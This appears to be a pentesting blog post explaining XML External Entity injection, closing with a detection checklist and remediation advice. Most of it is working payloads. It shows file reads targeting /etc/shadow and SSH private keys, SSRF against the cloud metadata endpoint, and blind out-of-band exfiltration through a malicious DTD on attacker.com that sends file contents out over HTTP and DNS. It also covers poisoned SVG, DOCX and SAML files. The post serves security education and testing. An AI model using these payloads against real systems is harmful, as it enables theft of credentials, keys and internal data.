← Back to writing
Web Pentesting

XXE Injection Attacks

Apr 10, 2024
3 min read
lawbyte

XXE (XML External Entity) injection lets you read arbitrary files from the server, perform SSRF, and in some cases achieve code execution. It’s consistently underrated because it hides in XML parsers that developers forget about.

What is XXE?

XML supports external entities — references to resources outside the document. When the XML parser resolves them without restriction, an attacker can point them at sensitive files or internal services.

Vulnerable XML parser behavior:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

If the response includes the contents of /etc/passwd, the parser is vulnerable.


Basic File Read

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo><bar>&xxe;</bar></foo>

Windows targets

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>

Useful files to read

/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
~/.ssh/id_rsa
~/.bash_history
/proc/self/environ
/proc/self/cmdline
/var/www/html/config.php # web app config
/etc/nginx/nginx.conf
/etc/apache2/apache2.conf
C:\inetpub\wwwroot\web.config
C:\Windows\System32\drivers\etc\hosts

SSRF via XXE

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<foo>&xxe;</foo>

Combine with the SSRF playbook — enumerate internal services, cloud metadata, internal APIs.


Blind XXE — Out-of-Band Exfiltration

When the response doesn’t reflect the entity value, use OOB exfiltration.

Step 1 — Host a malicious DTD on your server

<!-- evil.dtd hosted at http://attacker.com/evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#37; send SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
%send;

Step 2 — Send the XXE payload

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<foo>trigger</foo>

The parser fetches your DTD, which defines an entity that sends the file content to your server.


Error-Based XXE

When OOB network isn’t possible but error messages are reflected:

<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#37; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

The parser tries to open /nonexistent/<contents of /etc/passwd> and the path (including the file contents) appears in the error message.


Blind XXE via DNS Only

When only DNS callbacks work (HTTP blocked):

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dns "<!ENTITY &#37; exfil SYSTEM 'http://%file;.attacker.com/'>">
%dns;
%exfil;

The hostname appears as a DNS lookup subdomain.


XXE via Different Content Types

Many APIs accept both JSON and XML. Try switching Content-Type:

POST /api/data HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data><name>&xxe;</name></data>

XInclude (when you don’t control the DOCTYPE)

Some applications include user input inside server-constructed XML. If you can’t add a DOCTYPE, try XInclude:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>

XXE via File Upload

SVG file upload

SVGs are XML. Upload a malicious SVG:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text font-size="16">&xxe;</text>
</svg>

If the server renders or processes the SVG, file contents may appear in the result.

XLSX/DOCX/PPTX (Office Open XML)

These formats are ZIP archives containing XML. Unzip, inject XXE into the internal XML, re-zip:

cp document.docx evil.docx
unzip evil.docx -d evil_extracted/
# Edit evil_extracted/word/document.xml — inject XXE into root element
# Re-zip
cd evil_extracted && zip -r ../evil.docx .

SAML injection

SAML assertions are base64-encoded XML. Decode, inject XXE, re-encode:

echo "<saml_base64>" | base64 -d > saml.xml
# Edit saml.xml — add XXE
cat saml.xml | base64 -w0 > saml_evil.b64

PHP Wrappers in XXE

On PHP applications, use PHP stream wrappers:

<!-- Base64 encode file to avoid XML-breaking characters -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>

Decode the base64 response to get the file content.


Detection Checklist

Look for XML parsing in:

  • SOAP web services
  • REST APIs accepting Content-Type: application/xml
  • File uploads (SVG, DOCX, XLSX, PDF)
  • RSS/Atom feed processing
  • SAML authentication
  • OpenDocument format processing
  • Any endpoint that parses user-supplied XML

Remediation

  • Disable external entity processing in the XML parser (the safest fix).
  • In Java: factory.setFeature("http://xml.org/sax/features/external-general-entities", false)
  • In PHP: libxml_disable_entity_loader(true) (deprecated in PHP 8 — external entities are disabled by default)
  • In Python lxml: etree.XMLParser(resolve_entities=False)
  • Use a JSON API instead of XML where possible.
  • Validate and sanitize all XML input server-side.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.